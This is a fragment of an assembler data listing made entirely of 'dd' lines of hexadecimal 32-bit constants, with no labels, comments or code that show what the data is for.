		dd 86C4996Dh, 0FC50C8A6h, 93559F77h, 40264EC2h,	0C293E779h
		dd 0A7C02DC4h, 5B869D00h, 7B174673h, 0EB677791h, 6A3B09B9h
		dd 0E0501C85h, 99200DC0h, 421B90Ah, 77EA2A46h, 0DA5543CBh
		dd 0E9D98928h, 9B971CEAh, 6671D48Fh, 30D1C4EEh,	17D4EBEEh
		dd 9E3F66FFh, 30D03A68h, 9FDC2F8Fh, 7A54D36Bh, 2EEB3757h
		dd 689FDEE5h, 824CA388h, 0A4A230B8h, 7A414CA3h,	60744A3Bh
		dd 96290440h, 745D2525h, 0D63A2DF9h, 77453E15h,	0D7EF18D9h
		dd 0DA0C1994h, 147B4B78h, 692B2A36h, 2EF9AFF8h,	0BE1CCF02h
		dd 0D5122A3Ah, 41121ECh, 0ACC8F138h, 2831F776h,	0AE36B948h
		dd 0C2BD87F2h, 2D9E6B24h, 0A081B3DDh, 38801696h, 0E01A2FFAh
		dd 5028FAE7h, 0DACBF0FFh, 254B545Eh, 73EB3FCh, 5DE4E7BCh
		dd 691224CEh, 0AD2CDE52h, 7B956B91h, 0F8F5D3B5h, 623C0E3Fh
		dd 5576283Eh, 0DE206E79h, 86661AFDh, 78FBFD62h,	0C10263B6h
		dd 0E04D2EEFh, 6AA7FEDCh, 887FBF00h, 0B33782B3h, 7503E3ECh
		dd 0FC870E4Ch, 73A622B5h, 7DEF1EAAh, 0A28267EFh, 1988E917h
		dd 0C53A8137h, 6732B898h, 6DA137EFh, 0B57780C0h, 0FCFCB7BCh
		dd 84A99D27h, 4E26B588h, 0A266365Dh, 18A3FF7Dh,	6E39DB79h
		dd 45DEE70Bh, 3E7669AEh, 61292751h, 6F078E96h, 62FA95A5h
		dd 6B21FA40h, 745E3DCEh, 423E35DBh, 0EBDDBB8Bh,	6FAA2A68h
		dd 0A71F5B1Ch, 0A807CC34h, 7F5B8682h, 95A303B2h, 0B5D7A54h
		dd 4DD3E316h, 0C673B71Ch, 0C7D215FBh, 399DB038h, 24458E6Fh
		dd 3E4B405Ah, 0E2ECC5D2h, 28791713h, 25DDB7D6h,	958C2BB8h
		dd 2BBBA2E5h, 0AFF201AEh, 219A8F4h, 6F69774Bh, 0FE152111h
		dd 4B06FCB9h, 15B35FECh, 0F46420C3h, 0BA649BA4h, 0A312DC3Eh
		dd 33D52A1h, 3DE8DA6Fh,	89D70E33h, 0F9978728h, 29CED568h
		dd 742EA767h, 0ED5EC8BCh, 6A5905F2h, 0F29C532Eh, 773BB03Ah
		dd 0C1877B40h, 4CCB02ABh
		dd 14C8D159h, 3CA35870h, 0B030EB72h, 302C778Ch,	21BE4434h
		dd 0ED9235D5h, 0D3A90E3Fh, 71000465h, 88498361h, 0F71BD5F7h
		dd 732A385Dh, 9E24F706h, 6C45D149h, 0E80634B3h,	51E6568h
		dd 3486A746h, 60AD9CFEh, 21EF65FCh, 0D60C71D8h,	0C6437F55h
		dd 0AF6E9C48h, 4586722Ch, 0B7BA4A09h, 0E731C4Ch, 624D3418h
		dd 472D13A0h, 0D7A67C47h, 38172A45h, 462D17A7h,	8E88029Bh
		dd 57A00B5Bh, 5C7ABDC9h, 548A8F81h, 0D5C32582h,	0A7972E5Eh
		dd 4DB34CE1h, 62D07A9Ah, 8963ABEAh, 98988FC9h, 39126307h
		dd 1560B21Ah, 0B9B71E61h, 35FA1D24h, 0F8C0C02Bh, 7A6A656Fh
		dd 90032B45h, 81581F5Eh, 0AF423A86h, 80B71AC4h,	0E60FABDEh
		dd 5821EC53h, 0AF7935A8h, 9F850FA0h, 0FB628B0Eh, 4897C46Fh
		dd 5198CB10h, 0A15896FAh, 0B40742AFh, 0F2A764B9h, 0AA078E81h
		dd 0E29205CCh, 2A61B22Bh, 32D9E8C1h, 0B5DEF99Eh, 0C9C56DA0h
		dd 0F9BBA0E5h, 71CB38B7h, 59F7D72Ch, 0A7DD69E0h, 0A696D71Dh
		dd 37FB836Ah, 64EC6593h, 2D63C9A5h, 87101A13h, 3DF2E652h
		dd 180DECF6h, 2D0201C1h, 9A2DF1B7h, 83C38286h, 168F154Dh
		dd 69770EF6h, 63924DE4h, 66564241h, 25BA5A9h, 82E47021h
		dd 486F81BBh, 37947BFEh, 0CB49974Dh, 507A2838h,	0F5A9DD42h
		dd 56694209h, 0AEDF6893h, 0E91A23B4h, 0C0EEF683h, 5D67FA1Ch
		dd 91F3BC2Eh, 0C13A4300h, 311F4C6Eh, 0B58DAC9Bh, 0AEF1DF4Eh
		dd 0B69D7BDAh, 0D089D48h, 0EAD3EF64h, 98824CD9h, 0BE0114B1h
		dd 0EBC62789h, 0A16DBC41h, 0DCE47E6Ah, 6BB25A0Ah, 4F76655Dh
		dd 0FF4F187Ah, 0D5BBA7FCh, 2506BA1Dh, 555ACAAFh, 7B258C7h
		dd 560831C5h, 0EA66D059h, 0C10E5045h, 860F47A2h, 7B717494h
		dd 232F1CB1h, 0BA6C77F6h, 253269C7h, 98B6ECBCh,	88DB3A2Eh
		dd 4DCECE82h, 0C8238027h, 0F14AE21Dh, 78B1CDA3h, 6CAAC8BCh
		dd 0E1BA70DDh, 1953B9D7h, 38DE8939h, 424914F2h,	9188832Bh
		dd 6D07E53Ah, 0FBBFE9AFh, 0E221D30Eh, 0CB1750C8h, 4321963h
		dd 83EE4764h, 9D9DF595h, 2DD496CAh, 6ADE2E3Fh, 64D9CC29h
		dd 2C37FFA1h, 0C946D9D3h, 6700A7C6h, 0E06E912Ah, 0F5676D0Ch
		dd 9E6D318h, 8FAB3FE6h,	9E8F1ED4h, 0D5B02A59h, 8106CDA0h
		dd 2B28EA86h, 0EE560FDFh, 56BD257Bh, 0F9F0E789h, 8034EC53h
		dd 5F241B52h, 55356CB1h, 0FE9CD560h, 0A8454069h, 55A9BA6Fh
		dd 0CD5C51BFh, 0B8B1BE78h, 19429D06h, 0C4F9009Dh, 3E013A66h
		dd 0B0350AEh, 0BA2D8441h, 0D7B9228Dh, 33955A10h, 96EFF7BCh
		dd 4495BCDCh, 0F15462BDh, 0E9FD2C96h, 0E33FC324h, 3DC8D0Bh
		dd 4AC72865h, 0F1F3C8F5h, 0F5B41178h, 6C5ACBE2h, 0FF9BF806h
		dd 0D42BBFBFh, 4E840835h, 6AE3B2CEh, 70598369h,	69BE69DBh
		dd 9C983CE1h, 0F7FCC8FBh, 931500EFh, 0A6508E59h, 9875202h
		dd 0E9B413AEh, 71169D9Dh, 776DA04Dh, 5890A269h,	0A30E139Dh
		dd 0E7C5DC5h, 0A48ACAA5h, 0A247BC7Ah, 0A39CF20Bh, 7D97284h
		dd 0B02E46A6h, 74B3C222h, 5057A5C6h, 850D61F0h,	42E042B2h
		dd 0F28B231h, 0BF6B8F45h, 47C50858h, 0B5978614h, 634EE49Bh
		dd 8CEB0E50h, 5680FD33h, 0A0554699h, 95491101h,	4C0B79F7h
		dd 3232FC93h, 3885D180h, 5EA7DAD0h, 0EE69837Fh,	0E7B5B10Fh
		dd 63B86E12h, 620422F6h, 0F0D3E27Ah, 73E5778h, 0E57BB0A4h
		dd 8C81C49Ah, 71E86849h, 1EDB4702h, 122D0A18h, 0DC304DDBh
		dd 0D800D931h, 2BA7ADFBh, 429CB969h, 5502EDA3h,	0A864FFAEh
		dd 1D9158B5h, 0AC56E926h, 932F5A5Eh, 96A89877h,	674B497Fh
		dd 5E60BF20h, 0B9ECA1A1h, 2CDED6E9h, 0CB896F7Bh, 0B62674F8h
		dd 906B8A56h, 52390493h, 0EA5A0F8h, 333A352Ch, 23ADDAF7h
		dd 5C527D5Fh, 8B2DF1F3h, 780AE868h, 73E746C9h, 2FA1969Dh
		dd 79780823h, 53C6437Bh, 944F46F7h, 7580007Dh, 4FF696Bh
		dd 42DD2551h, 0EDF8E53Dh, 8CB65690h, 79228A0Fh,	267A40AAh
		dd 2D420838h, 9ACB93D4h, 831254ACh, 32C06FA8h, 7311665Eh
		dd 0F351DAE3h, 0E6E0B155h, 932B1AA5h, 7FAB75C6h, 0F37C3630h
		dd 13AD118h, 416D6C01h,	736F3AD6h, 7A93DAB0h, 7646F83Eh
		dd 0E8580F55h, 5A2B4568h, 0EBB8902Eh, 2171EB45h, 428218A4h
		dd 0C97B2ABFh, 0A4D7186Bh, 8EF8F7E8h, 9F86345Eh, 988EFE7Ch
		dd 0E8D27EACh, 3BA22A85h, 7CE2D05Ah, 87857E00h,	0EC5927C0h
		dd 0F34EB4BFh, 0EF2AF5AAh, 59F6E2A2h, 3BC58A31h, 7CB0985Fh
		dd 9422262Eh, 0FE0A2C69h, 51CDDC23h, 572A2974h,	12F9FA96h
		dd 0BC26D5FCh, 0A9EB4645h, 0F72B1373h, 824A4662h, 3419ADB6h
		dd 0F6F553E1h, 5374B988h, 63528659h, 0A506EB3Dh, 0DB94E4F4h
		dd 329D3C65h, 59AA0086h, 0C91919C5h, 96E94D97h,	7C214A1Bh
		dd 3042D0BAh, 0D33AEEDEh, 0ED4BC9Ch, 3272991h, 612E1767h
		dd 31ABEADEh, 30DE7214h, 0F08CF9FBh, 0D78F3C9Bh, 1468C067h
		dd 0F32291EDh, 81BF5924h, 0A4CB0CE1h, 641BB478h, 6E4D4361h
		dd 6C4A0614h, 6E39063Eh, 4F066ECFh, 0C1F8BF1Dh,	86C8E095h
		dd 0EFA12FDDh, 6C08A92Ch, 5805DCD6h, 70D4CCF5h,	0CFE6EF40h
		dd 0AB12E0F2h, 68CF89F8h, 395C1720h, 0F5C32BB1h, 0AF42A5FCh
		dd 7C4D8FEh, 0DA8D41EAh, 0F976D5AAh, 658E7097h,	9337435Eh
		dd 0C62D5923h, 17C2ED6Ah, 0D7BB5E98h, 59E923Ah,	69FB2176h
		dd 67F59B8h, 88425087h,	0D078727h, 152C7DA3h, 298FF49Dh
		dd 0F204B9E6h, 0CFA27EFBh, 2A742906h, 10811E6h,	0F6DF2CECh
		dd 7EAB2A73h, 0B2D3DDBFh, 0F5A12C6Eh, 84B5FA8Ah, 8D9576F6h
		dd 1DBA5138h, 3DD867B4h, 0C6F45A4Ah, 0F6D67EFh,	0E22E2FD8h
		dd 1C0713B6h, 0AA094A5Eh, 0C8978073h, 706F44D7h, 12FEDF1Dh
		dd 60478BCCh, 0D18786ECh, 23DF8B26h, 0E24937C4h, 58CB0800h
		dd 0EE95737Bh, 0FD17907Ch, 0B7F23D37h, 4679ED24h, 0D720FB66h
		dd 20FA86CEh, 0BA269294h, 9A2C4E3Ah, 2112D95Ah,	1C597925h
		dd 91F34D08h, 0CFA3FA89h, 0AC2B14EAh, 5BEB94BDh, 34AFFEDBh
		dd 31FC9C48h, 30FFF63Eh, 5F5B1ADAh, 6A547D1Bh, 0EC19B6DBh
		dd 324731F2h, 21066A45h, 3E35C892h, 9855056Dh, 563239B0h
		dd 0AA9FC897h, 4ED0C57h, 7D38E93h, 0D3E8060Ch, 7B53B54Ah
		dd 0D5950A84h, 0F7B2D67Ah, 3089CFFEh, 0BD8EBFE1h, 654CC96h
		dd 0B4834B06h, 0B488DE1h, 4E4DD50h, 0FA6C9C07h,	5D06D17Ch
		dd 515F9114h, 75A6E10Ch, 25CCB03h, 5D51D410h, 0CEF5F2C4h
		dd 1F9035EEh, 0D956AEFFh, 65A1108Dh, 9007FADBh,	37D3CBF5h
		dd 2B93C65Bh, 0EF7CE3Bh, 75D65430h, 9B3B7AD5h, 70B9C754h
		dd 2EC4235Dh, 51F86FD2h, 112C5F92h, 100934F3h, 22AD2CBAh
		dd 0AF04C2FBh, 84B61BD9h, 0A36EA625h, 0B1EB88Eh, 676E6987h
		dd 2409C16Fh, 5C695668h, 0EA78242Fh, 0B7894C1Ah, 0AF7C6DA4h
		dd 0AA229EEh, 0E8A82372h, 0A03F6B2Fh, 533D2369h, 92ACB276h
		dd 0F0C0EB02h, 0C0962580h, 0B61459E6h, 0D5DCCD69h, 3761972Ch
		dd 2DEB74FDh, 0A459B245h, 87602FD9h, 0BEF73A11h, 59A59F6Fh
		dd 0BDCF40AEh, 0FF392DCh, 0A30B6D8Eh, 0CB2162FEh, 42A35C57h
		dd 0B289547Ah, 59E6343Bh, 0BC581D48h, 51701C5h,	754972B9h
		dd 0A0725DA9h, 0CA279244h, 960C0A75h, 84E5B297h, 1BBD626Dh
		dd 0FA9CA5AAh, 62847497h, 0CA855EADh, 0D26E77DAh, 0B03834BFh
		dd 7C614B1h, 13685492h,	3F561987h, 38E4B6F4h, 0B58E9433h
		dd 0F9F4D3E8h, 4458022Eh, 0C492B633h, 577A5CAFh, 58205C2h
		dd 16C1D355h, 92DA2DEh
		dd 3C5E991h, 0E17A6BBEh, 0CE65A88Dh, 90B2927Bh,	0B080155Ch
		dd 0DFF2AB50h, 0FB4B3216h, 95C3C593h, 8CDE54CFh, 0B1C77B8Fh
		dd 3D0F519Eh, 87AE7C9Fh, 0F65D29ACh, 98B312E0h,	4F9B6CBCh
		dd 4E9D4A24h, 15BF68D5h, 681095C4h, 0F581890Ch,	0ED6158C1h
		dd 0EE82547h, 47E97E0h,	0AA34FBDFh, 0EBEE3079h,	0CB84AE4Ch
		dd 6840DB9h, 0C0353582h, 0FEC1303Dh, 55D73070h,	35906FA0h
		dd 20D2DF1Eh, 6F949EB5h, 3D8DB1DEh, 1E55B5D8h, 0D8635269h
		dd 86186789h, 8C8D88AAh, 0A082D857h, 69BA5648h,	0A75EE56Eh
		dd 0CDC5928Ah, 2F6B0647h, 2C125C82h, 5EAECEE4h,	9305C7E5h
		dd 532C95EEh, 0D0564054h, 0BDDF0B29h, 9B7F0264h, 0CEED1BE7h
		dd 847D8D75h, 0E5DDAA32h, 0E6478AEAh, 7265F605h, 0AE0E1E99h
		dd 0E1465FB0h, 7859E60Ah, 0BBB12C6Ch, 842D7168h, 0B5B12FC0h
		dd 56E8556h, 67E99C3Ch,	4283B954h, 9CD4952Dh, 0AE819ED5h
		dd 18A93F01h, 13AED1A1h, 0DF8F9EABh, 28FEEBEEh,	0D3812AAEh
		dd 0AEA69E39h, 0DC50E807h, 7B5FA748h, 0E002295Ch, 37F1AB27h
		dd 9E755F3Eh, 0A0218860h, 3F48F3D8h, 0EE6F949Eh, 1BAD4595h
		dd 0DB976F49h, 0BF6ECE8Ch, 0CB8F0DF7h, 916CA647h, 0A3961B43h
		dd 86A7DA51h, 0C3E89721h, 3A91EB66h, 0F43B49ACh, 590BBCD7h
		dd 69A8ED7Ch, 6BCACE90h, 2738D82Ch, 0CC9D77Dh, 0D4CCE6A9h
		dd 0EE9494C8h, 0C71D439Eh, 33641F5Eh, 38977010h, 0ADD1C8E7h
		dd 468335E0h, 0A6FA1B35h, 757E9988h, 0F6427B9Dh, 5F8D4AA3h
		dd 823C61BAh, 9429936Fh, 9CE6BF18h, 38BE8515h, 0B0327F31h
		dd 388D2257h, 0E29A3C51h, 5AC047DCh, 1B6F1B5Dh,	55AAD1D5h
		dd 96F8767Bh, 3450036h,	0DE9E652Bh, 0AA5524EDh,	0F5463287h
		dd 679C0CD4h, 65729554h, 28DB1CB3h, 1CC861B1h, 0AF97A5BDh
		dd 19451EA2h, 24258516h, 0DE87D12Eh, 330F3365h,	1E7AEF5Eh
		dd 0C8408E80h, 0BD87CC3Dh, 3FDE61E0h, 869517FDh, 5D60FE83h
		dd 0DA3A636Ch, 0E33A796h, 3E974C39h, 74168A6Bh,	3BEC0A46h
		dd 74B2BC96h, 93B05B6Eh, 8ADBE3C1h, 9EA27C9Dh, 4908E063h
		dd 0A68F2F4Eh, 78C23107h, 25177D3Eh, 5CF20E7h, 8B984554h
		dd 645F9F1h, 290C8C17h,	0D89C2258h, 0E8152391h,	0F3134A76h
		dd 560BB09Fh, 17AD00A9h, 50D5B784h, 91E7AFDAh, 8AFA6DDDh
		dd 7305E21Dh, 3966048Dh, 4EBFBB50h, 35A8EAECh, 38ABBDBDh
		dd 84A0DBC4h, 0C6B2EE6Dh, 0D6426CC4h, 87ABCCC9h, 0C92C0C0h
		dd 0E82FC63Eh, 0C2882F04h, 0AC45F2B5h, 50C5367Ch, 0A685C11Bh
		dd 8EC4BA94h, 0B3B4E4B5h, 0F0846E56h, 0A1B958DEh, 0FC89816Eh
		dd 410D8A23h, 0E12B3852h, 9B802837h, 2B9030A7h,	0F10BFC81h
		dd 789EF45Eh, 6B038A43h, 0B5F399F4h, 0B8E087AEh, 0AF0C294Fh
		dd 16255A47h, 6D52E087h, 0BE5BBFB8h, 0D270913Eh, 0B30B05D7h
		dd 95009D4Dh, 0A2D57D95h, 4A40220h, 0B925285Eh,	0E0697526h
		dd 0E285CC8Bh, 0D4B7A7DDh, 8391DC2Dh, 8B278567h, 6C4AAD02h
		dd 0C64809B4h, 0C2F3495h, 0DB529EBBh, 7B20FD2Eh, 0E11A4B96h
		dd 3784AD7Dh, 1E3C504Fh, 0D0610383h, 0D15CC214h, 0E5DE82B5h
		dd 697398EFh, 9ADC4D56h, 5350C5D6h, 0E624289Dh,	0DC16F4FAh
		dd 5FDAD9D6h, 3E1D2D7Ch, 5169136Ah, 41A18517h, 774E45E3h
		dd 51782005h, 0CE2B4D47h, 7BDAFA5Eh, 4E6B8D9Ch,	90A8734Ah
		dd 7C479AF3h, 0E4E3A600h, 6BC9B1DCh, 246ABCF2h,	453B9DB2h
		dd 0FD037AAFh, 858B764h, 92013761h, 3D7678DCh, 723110BFh
		dd 5D60A0F1h, 7CBAA0E2h, 0A9B48D61h, 55B587CCh,	6182AD81h
		dd 610BE5CDh, 28D17EEBh, 874D8A5Ch, 0BAE36191h,	0DEC5DD19h
		dd 0D6AA8A42h, 2E5CA159h, 9025BEB9h, 86B0CDF6h,	0DBAE9559h
		dd 0BE7853A7h, 877F6C0Dh, 0CC846764h, 4C6F0545h, 1D6C971Dh
		dd 85E67B9Ah, 2B76B57h,	8A79D8BCh, 5B1DEE07h, 0C620CF97h
		dd 0C79B0E78h, 2851C9BBh, 506565ADh, 876664A3h,	987A39EAh
		dd 0FB08320Dh, 319F76F7h, 95DB5A59h, 521CEC6Fh,	15A4A4DAh
		dd 9A4E8699h, 0A2E55E1Eh, 8BAED70Dh, 383CA85Ch,	0A2FCCC12h
		dd 692D6C1Ah, 0FBAC1648h, 41EDCDD6h, 0DBC7292Ch, 0AB7CDFEFh
		dd 10CB09F8h, 6A110C02h, 0F1E7148Bh, 41206B58h,	56EAA994h
		dd 14FD9462h, 809A06A7h, 552CAE41h, 417491D1h, 0F2303FF4h
		dd 1D4D0D2Ch, 25549E77h, 901CD28Bh, 7A63BB0Bh, 5A29DBEFh
		dd 0C09366C5h, 0F911CDB1h, 0AEA8A75Bh, 0CDA83A68h, 0C4EF64B7h
		dd 7C3EA57Eh, 6CEA235Fh, 9B7A579h, 7B96E8B7h, 0E5E9BCFCh
		dd 0D6CB60FAh, 0CF4EFA14h, 1C1DBE52h, 0DC96F5B2h, 3FBC9221h
		dd 74272641h, 4EFF66FAh, 3A6CB670h, 0D5BC3FFAh,	1318A20Ah
		dd 676FCB56h, 0E3453AE1h, 9DE73DEAh, 79FBE61Ah,	0D3BCE6C4h
		dd 0F32FAAEDh, 2A6E0A3Fh, 0D53C5CFBh, 42079B3Ch, 58ED7857h
		dd 565619Bh, 15FDBF5Ah,	595E005Ah, 30F6391Ah, 0BDD9C45Bh
		dd 0E3A1E245h, 0F03D6DCCh, 0B97B78FEh, 7437D6F0h, 91936D2Dh
		dd 3F5486D5h, 616A1DACh, 0B01776DEh, 716650Ah, 0B302DD97h
		dd 1607290Ch, 7CDC4792h, 0F2016A37h, 0A29B227h,	0FD279D0Ah
		dd 37026E8Ah, 0B01C8185h, 922640Fh, 8C0CAF54h, 0E5872300h
		dd 7725F80Ah, 0D6B35DD4h, 0DF01E36Dh, 0EC07DD25h, 135AD590h
		dd 21645E2Dh, 0BD0EDE4Fh, 6F296BEEh, 21542644h,	511AA495h
		dd 45AF96B0h, 0C4642EDCh, 4D1B7D3Ah, 0AAEA9E70h, 6D477EAFh
		dd 28CDEB00h, 49398905h, 94C87FBCh, 3D5A7D99h, 26699B49h
		dd 446DD593h, 6DC765CAh, 0E4BD018Ch, 0E3D29FFBh, 551356DAh
		dd 0BEE77A5Bh, 23B70E8Bh, 58367797h, 9C6EAB2h, 877C6BE4h
		dd 0E5258D8Eh, 0EE236EFEh, 5C4777B5h, 5AB23740h, 0FC009E08h
		dd 0DFD3C077h, 0B7081C2Dh, 0BA2EE98Ch, 0DA52A28Ah, 30334A93h
		dd 6743E7E2h, 0FC5C76CEh, 0FBF085A1h, 3F1B6530h, 230E1729h
		dd 5BCF42BEh, 3F46D67Eh, 31B5DAE1h, 91269920h, 1DA22F46h
		dd 96DC1810h, 398D3516h, 0AED3B1D6h, 0B41910DEh, 0DA798153h
		dd 0DE229215h, 0D0690554h, 8895F311h, 453423C7h, 0B246DB5Dh
		dd 0AC9C5F75h, 5C799254h, 719C5FCFh, 4CE59526h,	25BF6A01h
		dd 250C6FE5h, 0D58DF2ECh, 0C80C0D07h, 0F29D402Ch, 189F6F30h
		dd 0B6A62EA6h, 0BD32BBDEh, 13C3137Ah, 39B58828h, 0F53222E7h
		dd 1BE981A3h, 0A35ADD29h, 8653BD78h, 99E3367Ch,	7310EBDh
		dd 37D30527h, 0C7D2D272h, 2F9B88B6h, 0C6CD36E8h, 13FA5A01h
		dd 613A88BAh, 0B0789140h, 5BAE7CF3h, 8A1FDFE7h,	7A7D87D9h
		dd 0D98A37B4h, 4EEBD27Ah, 0F4B4E11Fh, 908CBD96h, 5A894611h
		dd 0EDF1C57Eh, 0E1915D1Dh, 8437D968h, 4E06B1FCh, 0C0BED4BFh
		dd 4FBFF117h, 0CABDCBBDh, 0F1713D19h, 0EAED3E0Ah, 9DCD9C4Bh
		dd 11A994E0h, 4AF61D2Dh, 56F611C0h, 7BA99DADh, 8A9A2235h
		dd 8E2B6787h, 77446792h, 5DE08F8Eh, 3FB0C62Ch, 0CDCA8EE1h
		dd 90CEE8F1h, 0CCC1A6A6h, 549C5BB7h, 0BF98DB1Bh, 276A12F2h
		dd 32692A1Ah, 0B038AABDh, 0B09AFC87h, 0F164A572h, 0AB11F7F5h
		dd 512E6BA9h, 0CACC5BF3h, 0F2E8158Bh, 3DB7F3Dh,	41104107h
		dd 99E36EC0h, 8067138Fh, 37D1AA3Dh, 0B9253909h,	0DEF46326h
		dd 60687F7Bh, 438176FDh, 6BD5684h, 0C5A17F5Fh, 856F8CCFh
		dd 1B010762h, 0F2D0F133h, 678514D1h, 6492CFh, 0ED4B0AE5h
		dd 1028B4F6h, 7C34772Dh, 0E0B73845h, 0CC386B6Ah, 0C4147914h
		dd 896C6B37h, 35ADC546h, 0E8D41202h, 2AFA39ECh,	66B1A685h
		dd 8455F19Ah, 0CA649336h
		dd 3D5192A4h, 2AD24522h, 30DFDF5Bh, 66C05B3Ch, 0C03B5FD7h
		dd 27EFA855h, 893371C0h, 0F2C3593Dh, 0DB665157h, 8F9CA839h
		dd 0FC7685B4h, 52655853h, 1063CF1Ah, 72FFEF26h,	0C6CFD9C3h
		dd 0BFA67A88h, 8450BB63h, 94204E8h, 5B826C86h, 7E42809Bh
		dd 444CA8FEh, 0D7A6944Bh, 6F52B094h, 6DF727AEh,	1B8CE87h
		dd 203F72E0h, 32061859h, 887094ABh, 5208E8E4h, 249CE89Ah
		dd 7FFD90A7h, 4DFCDD50h, 6AE1C3Ah, 0BA1CB600h, 0BAAE9BA4h
		dd 2AAD48CBh, 0F8D656E2h, 3459EBD2h, 0E23AF9A6h, 0E4382631h
		dd 118C2FDBh, 0B67E57D7h, 31E25613h, 0D892DF97h, 810BC47h
		dd 4904667Dh, 0EF740CAEh, 8F677932h, 754EA6B8h,	79B65CF1h
		dd 0F75B6AF4h, 551434h,	0A47EBD53h, 0B6FE46D5h,	3908786Fh
		dd 9B05D1B2h, 494D012Fh, 0C5C2C7AEh, 3FB2F8FEh,	63C6BE9h
		dd 0A1E2EED4h, 5D84CF3Ch, 0C7F1F226h, 7496A00h,	138248ECh
		dd 0DB31C0DEh, 97F4A05Ah, 6FE50C9Ah, 0CE63EEC4h, 1EAB53E2h
		dd 5377294h, 124DF426h,	0C7CC4C53h, 7F74B68Dh, 0B5B6274Ah
		dd 64D5C7F6h, 6A79046Ah, 453CA892h, 96531B83h, 0FE03E615h
		dd 91793B48h, 0AAE5E6FFh, 228F81EAh, 2C5BE7ACh,	951CA949h
		dd 4B866E44h, 0EE9A45D1h, 0FB3D14CFh, 0F310CBC5h, 5AD45416h
		dd 6474FDF9h, 53E04D9Ah, 0D2FF44Bh, 2FAD0CFAh, 530970FAh
		dd 7172D4BFh, 4E70B601h, 0F85870A8h, 18C60C97h,	4562EED5h
		dd 0F8D87C6Fh, 0B458838Ch, 8C4618CAh, 0E6943612h, 4629F673h
		dd 4DD04D96h, 82A5FEEBh, 0B0144EE8h, 0F8854420h, 21BFAB51h
		dd 58538999h, 93EAC400h, 4ADAB6DCh, 5423A635h, 0D1C04614h
		dd 0B356583Ah, 4ACC2A8Fh, 0B47C2D00h, 574FA68Ch, 9281557Ah
		dd 97A7FAE3h, 0B8591990h, 901B22C6h, 9A1A9567h,	34179551h
		dd 82680DADh, 17716730h, 0B22DE7E1h, 0E9B98F03h, 0C1F56A9h
		dd 0EBF3425Bh, 3C5DDF43h, 8E71B613h, 0FC31BF3Dh, 289C147Bh
		dd 12BE29DEh, 0A280AC34h, 45DCE4D7h, 4B558629h,	0D70919BDh
		dd 7C455BFh, 0B2295D8Fh, 0A12D5319h, 5E570855h,	23E1CDF6h
		dd 0CD905B48h, 0C693640Eh, 0F08567F4h, 0DF8EE7Fh, 79638029h
		dd 2CDD8CF7h, 0EFF3D0BCh, 0D7E37231h, 0E129A35Ch, 0A6273331h
		dd 13A0929Ch, 1C5288A9h, 0AF34BC41h, 8FC39426h,	7BAA76E1h
		dd 2EDA8A7h, 62270994h,	429D45A0h, 261E4E39h, 650D6E09h
		dd 4AB4F8FFh, 6933CB24h, 5DC58772h, 7EFE9433h, 11172777h
		dd 782CB363h, 899A3159h, 0EBA0580Ch, 9507DA36h,	34DF5445h
		dd 9F3357AAh, 69DF9F18h, 70355ADDh, 79CEA7C7h, 5AAAF366h
		dd 0C8DA6754h, 0DE99BAADh, 2006D3EEh, 0B23F71B7h, 21FD8286h
		dd 0DF47E0CDh, 0CB7A1529h, 57A0024Ch, 0B88D6D67h, 0C1D13BE9h
		dd 111F9952h, 2EAB343Ch, 0C7B296DFh, 0EB4EC6B5h, 0C22F9BF7h
		dd 0B0ED6678h, 3134C8ECh, 7FE4E916h, 0AD6283EAh, 6C67114Ch
		dd 25C2C1C1h, 0DE79E1C8h, 0E27C9C53h, 0E0EA43F1h, 7A47E68Bh
		dd 464BC6Dh, 0BD15B0EDh, 80B9DFA8h, 3B759D5Dh, 0D270C3DEh
		dd 0A5E21A39h, 0DF8C40BCh, 966A6F97h, 1A85DCB2h, 0FF66BB9Bh
		dd 2D29C7FBh, 0DC64E677h, 87809A9Bh, 0DFF1AAE5h, 8948CFADh
		dd 0BE51154Fh, 861BF369h, 0FA95FC2h, 9DFC6AF1h,	2F078108h
		dd 0AC888250h, 67B0E171h, 0EBA92DF3h, 0CFC2EF7h, 6401EBA6h
		dd 7A834394h, 0D9B3851Bh, 0F9C51C09h, 0EC1A0B2Ch, 252A935Eh
		dd 92D6F59Eh, 86DEC28h,	1BFAC87Fh, 0E8D773DBh, 0A94D38D9h
		dd 0EE3B7F6h, 0FB0519D9h, 2CB996D8h, 4428F042h,	0DEF2E41h
		dd 7B463A11h, 76170321h, 17331D46h, 35BC5C15h, 0E9A00A1Eh
		dd 517D80A3h, 2156521Eh, 0B76A815Fh, 41DBF926h,	85F05C5Dh
		dd 9E9B93ABh, 9F583A31h, 8FC99A50h, 5D2F54D0h, 0CE705DC5h
		dd 218408E3h, 946A0EB0h, 39B9CB27h, 0AB9458ABh,	54E2773Eh
		dd 0DD01D78Eh, 0B399D577h, 0C4C64E9Ch, 5189E7F2h, 0E5723318h
		dd 1B6304E8h, 55DAF2EAh, 0D7854682h, 9FF14F35h,	0F89E9663h
		dd 0F8CDEFB8h, 6A792F08h, 0E3EA1B85h, 0E04D2C90h, 102BB5A6h
		dd 42893B44h, 0AB13911h, 92224E8Fh, 0E5345B3Eh,	63AC62A2h
		dd 62BA549Ch, 56039C68h, 19308A4Bh, 5D8BF60Ah, 0F1BF8651h
		dd 0A4DCC25Ch, 111F100Dh, 0AA713A2Bh, 0F3F629EFh, 0A32FA25Ah
		dd 7C6FF7F1h, 229BF15Fh, 622675A7h, 0A748E608h,	44FDA1B0h
		dd 33D63EBh, 0EC17502Eh, 0D9D03161h, 0E08C48EDh, 9D8EBE66h
		dd 0A3A1B0DFh, 4BDD08C1h, 0CC70A8B8h, 46F55EFAh, 0BC3C7EA6h
		dd 15AD3FF7h, 4BD6D38Dh, 0ADC91C3Ah, 87CEE476h,	0CDFBE265h
		dd 0A96ED1A8h, 0A8D9B4FEh, 0ACA06EF2h, 2FCC083Fh, 87F4054Ch
		dd 0D822293Eh, 0DE4A3D5h, 47AC28A5h, 8B329A9Eh,	5A8D83D7h
		dd 9026FF71h, 18CF1BB6h, 69A6D833h, 0F9BF160Fh,	0D6164652h
		dd 0AA9CC4Dh, 0EF6FF9Eh, 53B56ED2h, 6DD21233h, 677A50E1h
		dd 0D360F9A8h, 0FCC46EBAh, 0B3D22F0Ah, 3A4EE6A1h, 22A61527h
		dd 4B3B6243h, 7DD07746h, 0C5B66AD2h, 0A6F93999h, 0D7A9359h
		dd 756B23D1h, 0CD69BFACh, 55F5CEC0h, 91F88EB1h,	0ECAAC545h
		dd 269AF518h, 0F248D385h, 0A4A1F7A2h, 0A489D123h, 858B8276h
		dd 0D230BA02h, 0BEAF8B65h, 0D369147Ch, 0AD05C610h, 0EE0124FCh
